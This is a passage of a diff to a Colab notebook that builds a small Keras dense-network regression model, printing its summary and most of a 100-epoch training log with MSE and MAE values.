+        "outputId": "00b08718-9eb2-4f95-dce3-47b6d1b26153"
+      },
+      "id": "OlLpj11pOI7t",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "/usr/local/lib/python3.12/dist-packages/keras/src/layers/core/dense.py:93: UserWarning: Do not pass an `input_shape`/`input_dim` argument to a layer. When using Sequential models, prefer using an `Input(shape)` object as the first layer in the model instead.\n",
+            "  super().__init__(activity_regularizer=activity_regularizer, **kwargs)\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "model.summary()"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 257
+        },
+        "id": "WEFd0RdOZb71",
+        "outputId": "8b89bdf6-cd98-48ab-9ecf-d296007222a5"
+      },
+      "id": "WEFd0RdOZb71",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "\u001b[1mModel: \"sequential_7\"\u001b[0m\n"
+            ],
+            "text/html": [
+              "<pre style=\"white-space:pre;overflow-x:auto;line-height:normal;font-family:Menlo,'DejaVu Sans Mono',consolas,'Courier New',monospace\"><span style=\"font-weight: bold\">Model: \"sequential_7\"</span>\n",
+              "</pre>\n"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓\n",
+              "┃\u001b[1m \u001b[0m\u001b[1mLayer (type)                   \u001b[0m\u001b[1m \u001b[0m┃\u001b[1m \u001b[0m\u001b[1mOutput Shape          \u001b[0m\u001b[1m \u001b[0m┃\u001b[1m \u001b[0m\u001b[1m      Param #\u001b[0m\u001b[1m \u001b[0m┃\n",
+              "┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩\n",
+              "│ dense_36 (\u001b[38;5;33mDense\u001b[0m)                │ (\u001b[38;5;45mNone\u001b[0m, \u001b[38;5;34m128\u001b[0m)            │         \u001b[38;5;34m2,432\u001b[0m │\n",
+              "├─────────────────────────────────┼────────────────────────┼───────────────┤\n",
+              "│ dense_37 (\u001b[38;5;33mDense\u001b[0m)                │ (\u001b[38;5;45mNone\u001b[0m, \u001b[38;5;34m64\u001b[0m)             │         \u001b[38;5;34m8,256\u001b[0m │\n",
+              "├─────────────────────────────────┼────────────────────────┼───────────────┤\n",
+              "│ dense_38 (\u001b[38;5;33mDense\u001b[0m)                │ (\u001b[38;5;45mNone\u001b[0m, \u001b[38;5;34m4\u001b[0m)              │           \u001b[38;5;34m260\u001b[0m │\n",
+              "├─────────────────────────────────┼────────────────────────┼───────────────┤\n",
+              "│ dense_39 (\u001b[38;5;33mDense\u001b[0m)                │ (\u001b[38;5;45mNone\u001b[0m, \u001b[38;5;34m1\u001b[0m)              │             \u001b[38;5;34m5\u001b[0m │\n",
+              "└─────────────────────────────────┴────────────────────────┴───────────────┘\n"
+            ],
+            "text/html": [
+              "<pre style=\"white-space:pre;overflow-x:auto;line-height:normal;font-family:Menlo,'DejaVu Sans Mono',consolas,'Courier New',monospace\">┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓\n",
+              "┃<span style=\"font-weight: bold\"> Layer (type)                    </span>┃<span style=\"font-weight: bold\"> Output Shape           </span>┃<span style=\"font-weight: bold\">       Param # </span>┃\n",
+              "┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩\n",
+              "│ dense_36 (<span style=\"color: #0087ff; text-decoration-color: #0087ff\">Dense</span>)                │ (<span style=\"color: #00d7ff; text-decoration-color: #00d7ff\">None</span>, <span style=\"color: #00af00; text-decoration-color: #00af00\">128</span>)            │         <span style=\"color: #00af00; text-decoration-color: #00af00\">2,432</span> │\n",
+              "├─────────────────────────────────┼────────────────────────┼───────────────┤\n",
+              "│ dense_37 (<span style=\"color: #0087ff; text-decoration-color: #0087ff\">Dense</span>)                │ (<span style=\"color: #00d7ff; text-decoration-color: #00d7ff\">None</span>, <span style=\"color: #00af00; text-decoration-color: #00af00\">64</span>)             │         <span style=\"color: #00af00; text-decoration-color: #00af00\">8,256</span> │\n",
+              "├─────────────────────────────────┼────────────────────────┼───────────────┤\n",
+              "│ dense_38 (<span style=\"color: #0087ff; text-decoration-color: #0087ff\">Dense</span>)                │ (<span style=\"color: #00d7ff; text-decoration-color: #00d7ff\">None</span>, <span style=\"color: #00af00; text-decoration-color: #00af00\">4</span>)              │           <span style=\"color: #00af00; text-decoration-color: #00af00\">260</span> │\n",
+              "├─────────────────────────────────┼────────────────────────┼───────────────┤\n",
+              "│ dense_39 (<span style=\"color: #0087ff; text-decoration-color: #0087ff\">Dense</span>)                │ (<span style=\"color: #00d7ff; text-decoration-color: #00d7ff\">None</span>, <span style=\"color: #00af00; text-decoration-color: #00af00\">1</span>)              │             <span style=\"color: #00af00; text-decoration-color: #00af00\">5</span> │\n",
+              "└─────────────────────────────────┴────────────────────────┴───────────────┘\n",
+              "</pre>\n"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "\u001b[1m Total params: \u001b[0m\u001b[38;5;34m10,953\u001b[0m (42.79 KB)\n"
+            ],
+            "text/html": [
+              "<pre style=\"white-space:pre;overflow-x:auto;line-height:normal;font-family:Menlo,'DejaVu Sans Mono',consolas,'Courier New',monospace\"><span style=\"font-weight: bold\"> Total params: </span><span style=\"color: #00af00; text-decoration-color: #00af00\">10,953</span> (42.79 KB)\n",
+              "</pre>\n"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "\u001b[1m Trainable params: \u001b[0m\u001b[38;5;34m10,953\u001b[0m (42.79 KB)\n"
+            ],
+            "text/html": [
+              "<pre style=\"white-space:pre;overflow-x:auto;line-height:normal;font-family:Menlo,'DejaVu Sans Mono',consolas,'Courier New',monospace\"><span style=\"font-weight: bold\"> Trainable params: </span><span style=\"color: #00af00; text-decoration-color: #00af00\">10,953</span> (42.79 KB)\n",
+              "</pre>\n"
+            ]
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "\u001b[1m Non-trainable params: \u001b[0m\u001b[38;5;34m0\u001b[0m (0.00 B)\n"
+            ],
+            "text/html": [
+              "<pre style=\"white-space:pre;overflow-x:auto;line-height:normal;font-family:Menlo,'DejaVu Sans Mono',consolas,'Courier New',monospace\"><span style=\"font-weight: bold\"> Non-trainable params: </span><span style=\"color: #00af00; text-decoration-color: #00af00\">0</span> (0.00 B)\n",
+              "</pre>\n"
+            ]
+          },
+          "metadata": {}
+        }
       ]
-     },
-     "metadata": {},
-     "output_type": "display_data"
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "model.compile(optimizer='adam',loss='mean_squared_error',metrics=['mean_absolute_error'])"
+      ],
+      "metadata": {
+        "id": "xLBQDvFNabpK"
+      },
+      "id": "xLBQDvFNabpK",
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "history=model.fit(x_train,y_train,batch_size=32,epochs=100,validation_split=0.2)"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "collapsed": true,
+        "id": "4QLaB1qAatAv",
+        "outputId": "fed9a6fe-0ae7-49e2-89b6-5a8a50404d7f"
+      },
+      "id": "4QLaB1qAatAv",
+      "execution_count": null,
+      "outputs": [
+        {
+          "output_type": "stream",
+          "name": "stdout",
+          "text": [
+            "Epoch 1/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m4s\u001b[0m 5ms/step - loss: 417982316544.0000 - mean_absolute_error: 536588.6875 - val_loss: 360528576512.0000 - val_mean_absolute_error: 507568.6250\n",
+            "Epoch 2/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 3ms/step - loss: 333529841664.0000 - mean_absolute_error: 468782.1875 - val_loss: 115729596416.0000 - val_mean_absolute_error: 257243.2500\n",
+            "Epoch 3/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 104135327744.0000 - mean_absolute_error: 230238.7031 - val_loss: 67501969408.0000 - val_mean_absolute_error: 195969.8750\n",
+            "Epoch 4/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 2ms/step - loss: 69055668224.0000 - mean_absolute_error: 191298.9844 - val_loss: 60047138816.0000 - val_mean_absolute_error: 184554.3594\n",
+            "Epoch 5/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 63443697664.0000 - mean_absolute_error: 181403.8594 - val_loss: 53908566016.0000 - val_mean_absolute_error: 173288.6875\n",
+            "Epoch 6/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 2ms/step - loss: 51861970944.0000 - mean_absolute_error: 165390.4688 - val_loss: 49452371968.0000 - val_mean_absolute_error: 164347.0469\n",
+            "Epoch 7/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 49385107456.0000 - mean_absolute_error: 157314.5625 - val_loss: 44653735936.0000 - val_mean_absolute_error: 153782.0469\n",
+            "Epoch 8/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 2ms/step - loss: 46051115008.0000 - mean_absolute_error: 149034.1094 - val_loss: 41011908608.0000 - val_mean_absolute_error: 144867.1875\n",
+            "Epoch 9/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 41476984832.0000 - mean_absolute_error: 139921.6719 - val_loss: 37626597376.0000 - val_mean_absolute_error: 135426.1719\n",
+            "Epoch 10/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 40232005632.0000 - mean_absolute_error: 132089.0000 - val_loss: 35328999424.0000 - val_mean_absolute_error: 128868.1797\n",
+            "Epoch 11/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 37335957504.0000 - mean_absolute_error: 125336.9609 - val_loss: 33629730816.0000 - val_mean_absolute_error: 123886.5859\n",
+            "Epoch 12/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 37065318400.0000 - mean_absolute_error: 122841.6484 - val_loss: 32281718784.0000 - val_mean_absolute_error: 119978.0156\n",
+            "Epoch 13/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 38747742208.0000 - mean_absolute_error: 121174.8672 - val_loss: 31417464832.0000 - val_mean_absolute_error: 117547.2969\n",
+            "Epoch 14/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 35811794944.0000 - mean_absolute_error: 117845.9062 - val_loss: 30878820352.0000 - val_mean_absolute_error: 115960.7734\n",
+            "Epoch 15/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 32697036800.0000 - mean_absolute_error: 114247.1797 - val_loss: 31373107200.0000 - val_mean_absolute_error: 117674.2422\n",
+            "Epoch 16/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 32136556544.0000 - mean_absolute_error: 113519.8047 - val_loss: 30484199424.0000 - val_mean_absolute_error: 115213.6484\n",
+            "Epoch 17/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 2ms/step - loss: 33516888064.0000 - mean_absolute_error: 113833.4062 - val_loss: 30123358208.0000 - val_mean_absolute_error: 114262.9375\n",
+            "Epoch 18/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 32924145664.0000 - mean_absolute_error: 113106.5469 - val_loss: 30211753984.0000 - val_mean_absolute_error: 114661.1562\n",
+            "Epoch 19/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 31027281920.0000 - mean_absolute_error: 112454.6641 - val_loss: 29527461888.0000 - val_mean_absolute_error: 112640.9531\n",
+            "Epoch 20/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 2ms/step - loss: 33217769472.0000 - mean_absolute_error: 112343.3125 - val_loss: 29596739584.0000 - val_mean_absolute_error: 112873.6719\n",
+            "Epoch 21/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 30556397568.0000 - mean_absolute_error: 110654.2266 - val_loss: 29317122048.0000 - val_mean_absolute_error: 112213.7500\n",
+            "Epoch 22/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 31872251904.0000 - mean_absolute_error: 110981.8359 - val_loss: 29023414272.0000 - val_mean_absolute_error: 111357.5859\n",
+            "Epoch 23/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 31239004160.0000 - mean_absolute_error: 109114.5547 - val_loss: 29269366784.0000 - val_mean_absolute_error: 112107.8906\n",
+            "Epoch 24/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 32107018240.0000 - mean_absolute_error: 109706.3594 - val_loss: 28827631616.0000 - val_mean_absolute_error: 110802.2734\n",
+            "Epoch 25/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 33012975616.0000 - mean_absolute_error: 111132.7656 - val_loss: 28509607936.0000 - val_mean_absolute_error: 109763.9453\n",
+            "Epoch 26/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 30916165632.0000 - mean_absolute_error: 109094.2656 - val_loss: 28828657664.0000 - val_mean_absolute_error: 111073.2344\n",
+            "Epoch 27/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 31361294336.0000 - mean_absolute_error: 110294.2969 - val_loss: 28480950272.0000 - val_mean_absolute_error: 109911.2734\n",
+            "Epoch 28/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29329963008.0000 - mean_absolute_error: 107846.8828 - val_loss: 28644990976.0000 - val_mean_absolute_error: 110518.9297\n",
+            "Epoch 29/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29338324992.0000 - mean_absolute_error: 107399.4375 - val_loss: 28517115904.0000 - val_mean_absolute_error: 110087.2188\n",
+            "Epoch 30/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 31945824256.0000 - mean_absolute_error: 110544.2344 - val_loss: 28342665216.0000 - val_mean_absolute_error: 109583.4688\n",
+            "Epoch 31/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 31105435648.0000 - mean_absolute_error: 107800.9141 - val_loss: 28336533504.0000 - val_mean_absolute_error: 109638.0547\n",
+            "Epoch 32/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 3ms/step - loss: 30820564992.0000 - mean_absolute_error: 108595.3828 - val_loss: 28422975488.0000 - val_mean_absolute_error: 110052.2812\n",
+            "Epoch 33/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 30990116864.0000 - mean_absolute_error: 108603.0312 - val_loss: 28251383808.0000 - val_mean_absolute_error: 109597.7969\n",
+            "Epoch 34/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 32823828480.0000 - mean_absolute_error: 108283.1719 - val_loss: 28164978688.0000 - val_mean_absolute_error: 109178.6719\n",
+            "Epoch 35/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 31793276928.0000 - mean_absolute_error: 109368.2578 - val_loss: 27934705664.0000 - val_mean_absolute_error: 108517.7891\n",
+            "Epoch 36/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 31622318080.0000 - mean_absolute_error: 108692.1875 - val_loss: 27796779008.0000 - val_mean_absolute_error: 108004.2969\n",
+            "Epoch 37/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 31786143744.0000 - mean_absolute_error: 108147.0781 - val_loss: 27708678144.0000 - val_mean_absolute_error: 107657.0391\n",
+            "Epoch 38/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 30038593536.0000 - mean_absolute_error: 107308.7266 - val_loss: 27754133504.0000 - val_mean_absolute_error: 108018.7578\n",
+            "Epoch 39/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 27026712576.0000 - mean_absolute_error: 105325.9062 - val_loss: 28168300544.0000 - val_mean_absolute_error: 109237.2812\n",
+            "Epoch 40/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 30069456896.0000 - mean_absolute_error: 108145.9688 - val_loss: 27599423488.0000 - val_mean_absolute_error: 107484.1562\n",
+            "Epoch 41/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 3ms/step - loss: 31868811264.0000 - mean_absolute_error: 107389.4766 - val_loss: 27879811072.0000 - val_mean_absolute_error: 108567.9453\n",
+            "Epoch 42/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29620858880.0000 - mean_absolute_error: 107804.1250 - val_loss: 27931877376.0000 - val_mean_absolute_error: 108662.6016\n",
+            "Epoch 43/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28701282304.0000 - mean_absolute_error: 105911.2578 - val_loss: 27954495488.0000 - val_mean_absolute_error: 108723.7031\n",
+            "Epoch 44/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29048190976.0000 - mean_absolute_error: 105264.9062 - val_loss: 27697453056.0000 - val_mean_absolute_error: 108003.8438\n",
+            "Epoch 45/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28923457536.0000 - mean_absolute_error: 106336.0078 - val_loss: 27600871424.0000 - val_mean_absolute_error: 107625.2344\n",
+            "Epoch 46/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 30598543360.0000 - mean_absolute_error: 107898.3203 - val_loss: 27501684736.0000 - val_mean_absolute_error: 107506.8047\n",
+            "Epoch 47/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 31671787520.0000 - mean_absolute_error: 108443.3750 - val_loss: 27339831296.0000 - val_mean_absolute_error: 106919.2422\n",
+            "Epoch 48/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29284163584.0000 - mean_absolute_error: 106523.4453 - val_loss: 27658618880.0000 - val_mean_absolute_error: 107889.7734\n",
+            "Epoch 49/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29779773440.0000 - mean_absolute_error: 107366.5469 - val_loss: 27782369280.0000 - val_mean_absolute_error: 108307.6016\n",
+            "Epoch 50/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 29775775744.0000 - mean_absolute_error: 105992.2500 - val_loss: 27138304000.0000 - val_mean_absolute_error: 106294.7344\n",
+            "Epoch 51/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29396537344.0000 - mean_absolute_error: 105769.6172 - val_loss: 27126888448.0000 - val_mean_absolute_error: 106202.7344\n",
+            "Epoch 52/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29889378304.0000 - mean_absolute_error: 106180.3516 - val_loss: 27963148288.0000 - val_mean_absolute_error: 108942.5391\n",
+            "Epoch 53/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29405978624.0000 - mean_absolute_error: 107673.5938 - val_loss: 27388014592.0000 - val_mean_absolute_error: 107244.6719\n",
+            "Epoch 54/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 27853520896.0000 - mean_absolute_error: 105241.3203 - val_loss: 27056455680.0000 - val_mean_absolute_error: 106023.7578\n",
+            "Epoch 55/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29135937536.0000 - mean_absolute_error: 104922.8203 - val_loss: 26969307136.0000 - val_mean_absolute_error: 105783.2734\n",
+            "Epoch 56/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29829335040.0000 - mean_absolute_error: 105847.8047 - val_loss: 26877362176.0000 - val_mean_absolute_error: 105517.1484\n",
+            "Epoch 57/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29876637696.0000 - mean_absolute_error: 105110.2734 - val_loss: 27441295360.0000 - val_mean_absolute_error: 107437.9453\n",
+            "Epoch 58/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 28780419072.0000 - mean_absolute_error: 106300.2500 - val_loss: 27366148096.0000 - val_mean_absolute_error: 107072.7031\n",
+            "Epoch 59/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 27826161664.0000 - mean_absolute_error: 105813.8594 - val_loss: 27018539008.0000 - val_mean_absolute_error: 106011.4688\n",
+            "Epoch 60/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m2s\u001b[0m 4ms/step - loss: 29217931264.0000 - mean_absolute_error: 105107.4297 - val_loss: 26994229248.0000 - val_mean_absolute_error: 105885.6562\n",
+            "Epoch 61/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 31629041664.0000 - mean_absolute_error: 108302.4688 - val_loss: 26825820160.0000 - val_mean_absolute_error: 105542.3750\n",
+            "Epoch 62/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29304561664.0000 - mean_absolute_error: 105628.7969 - val_loss: 26793875456.0000 - val_mean_absolute_error: 105371.1172\n",
+            "Epoch 63/100\n",
+            "\u001b[1m433/433\u001b[0m \u001b[32m━━━━━━━━━━━━━━━━━━━━\u001b[0m\u001b[37m\u001b[0m \u001b[1m1s\u001b[0m 3ms/step - loss: 29094049792.0000 - mean_absolute_error: 104901.0312 - val_loss: 26903523328.0000 - val_mean_absolute_error: 105750.7344\n",
+            "Epoch 64/100\n",
